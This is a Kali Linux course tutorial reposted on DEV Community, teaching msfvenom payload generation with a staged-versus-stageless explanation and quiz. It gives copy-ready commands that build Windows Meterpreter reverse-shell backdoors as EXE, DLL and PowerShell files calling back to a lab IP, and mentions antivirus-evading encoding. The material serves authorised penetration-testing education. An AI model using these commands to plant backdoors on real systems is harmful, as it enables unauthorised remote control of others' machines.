DEV Community

Cover image for Msfvenom Tutorial - How to Use Msfvenom to Generate Payloads | Kali Linux Day 27
Mr Elite
Mr Elite

Posted on • Originally published at securityelites.com

Msfvenom Tutorial - How to Use Msfvenom to Generate Payloads | Kali Linux Day 27

πŸ“° Originally published on Securityelites β€” AI Red Team Education β€” the canonical, fully-updated version of this article.

Msfvenom Tutorial - How to Use Msfvenom to Generate Payloads | Kali Linux Day 27

DAY 27

KALI LINUX COURSE

FREE

← Course Hub

Day 27 of 180 Β· Kali Linux Mastery

⚠️ Authorised Use Only. Msfvenom generates real offensive payloads. Use exclusively on systems you own or have written permission to test. All exercises target your own Metasploitable/DVWA labs only.

Msfvenom is the payload factory of every serious penetration tester. One command generates a Windows backdoor, a Linux reverse shell, or an Android APK β€” custom, encoded, and ready to execute. I’m walking you through the complete msfvenom tutorial today: payload types, encoding, listener setup, and a full end-to-end lab against your Metasploitable instance.

πŸ“‹ What You’ll Master in Day 27

  1. What Msfvenom Is and How It Works
  2. Staged vs Stageless Payloads
  3. Windows Payload Generation
  4. Linux and Android Payloads
  5. Encoding: Shikata_Ga_Nai
  6. Multi/Handler Listener Setup
  7. Advanced: Embedding Into Templates

Yesterday on Day 26 I covered the Social-Engineer Toolkit for phishing and pretexting. Today we move into the payload itself β€” the executable code that opens the connection. Understanding the full Kali Linux course payload workflow makes everything from SET delivery to post-exploitation click into place.

What Msfvenom Is and How It Works

Msfvenom combines two older Metasploit tools β€” msfpayload (shellcode generation) and msfencode (obfuscation) β€” into one faster, simpler command. When I run msfvenom, I specify three things: what the payload does (connect back, open a shell, execute commands), what format to deliver it in (EXE, ELF, APK, raw bytes), and optionally how to encode it to reduce antivirus detection. Every payload has three mandatory parameters: the payload module (-p), the callback IP (LHOST), and the callback port (LPORT).

securityelites.com

Core msfvenom syntax

msfvenom -p LHOST= LPORT= -f -o

List all payloads

$ msfvenom -l payloads | grep windows/meterpreter
windows/meterpreter/reverse_tcp # staged
windows/meterpreter_reverse_tcp # stageless
windows/x64/meterpreter/reverse_tcp # 64-bit staged
windows/meterpreter/reverse_https # encrypted

List all output formats

$ msfvenom –list formats
exe, elf, apk, dll, ps1, py, raw, war, aspx, jar…

πŸ“Έ Msfvenom syntax and payload listing. The -l payloads command shows all available modules. I always grep for the platform I’m targeting β€” grepping for β€œwindows/meterpreter” filters to the most commonly used payload family.

πŸ’‘ Core Concept:The payload is WHAT happens. The format is HOW it’s delivered. The encoder is how it LOOKS to defences. Master these three independently and you can build any payload configuration you need.

Staged vs Stageless: The Slash vs Underscore Rule

The most important distinction in msfvenom that every beginner gets wrong: staged versus stageless payloads. My fast rule β€” the slash in the payload name tells you which type you have. windows/meterpreter/reverse_tcp has a slash between meterpreter and reverse_tcp β€” that is staged. windows/meterpreter_reverse_tcp has only underscores β€” that is stageless. This rule applies to every platform: Windows, Linux, Android.

securityelites.com

Staged vs Stageless β€” Decision Reference

STAGED (has slash /)
windows/meterpreter/reverse_tcp
β†’ Small stager sent (~300 bytes)
β†’ Fetches full payload at runtime
β†’ Smaller file size on disk
β†’ Needs stable network for stage 2
βœ… Use for: stable labs, small size

STAGELESS (underscores only)
windows/meterpreter_reverse_tcp
β†’ Complete payload in one file
β†’ No second stage download
β†’ Larger file size on disk
β†’ Better through strict firewalls
βœ… Use for: real engagements, firewalls

πŸ“Έ Staged vs stageless payload decision reference. In lab environments I default to staged β€” smaller files, faster iteration. In real engagements where I’m uncertain about the network path between target and listener, I switch to stageless to avoid the second-stage download being blocked by a firewall or proxy.

🧠 EXERCISE 1 β€” THINK LIKE A HACKER (2 MIN)
Identify Staged vs Stageless From Payload Names

Classify each as Staged (S) or Stageless (SL):

  1. windows/x64/meterpreter/reverse_tcp

  2. windows/meterpreter_reverse_https

  3. linux/x86/meterpreter/reverse_tcp

  4. android/meterpreter_reverse_tcp

  5. windows/shell/reverse_tcp

Answers: 1=S 2=SL 3=S 4=SL 5=S

βœ… Learned: Slash = staged, underscore-only = stageless. Works for every platform in msfvenom.
πŸ“Έ Share your completed quiz in #kali-linux-course on Discord!

Windows Payload Generation

Windows is the most common target in penetration tests. Msfvenom generates EXE, DLL, PowerShell, and raw shellcode payloads for Windows targets. My workflow for every Windows payload: generate with the correct architecture (x86 for 32-bit, x64 for 64-bit), set LHOST to my Kali IP on the lab network, set a port that isn’t commonly blocked, and match the format to the delivery method.

WINDOWS PAYLOAD COMMANDS

Copy

# 32-bit Windows reverse TCP (most common)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f exe -o shell32.exe

# 64-bit Windows reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f exe -o shell64.exe

# HTTPS payload β€” encrypted callback
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 LPORT=443 -f exe -o shell_https.exe

# DLL payload for DLL hijacking
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll

# PowerShell payload β€” fileless approach
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f ps1 -o shell.ps1
Enter fullscreen mode Exit fullscreen mode

πŸ“– Read the complete guide on Securityelites β€” AI Red Team Education

This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on Securityelites β€” AI Red Team Education β†’


This article was originally written and published by the Securityelites β€” AI Red Team Education team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit Securityelites β€” AI Red Team Education.

Top comments (0)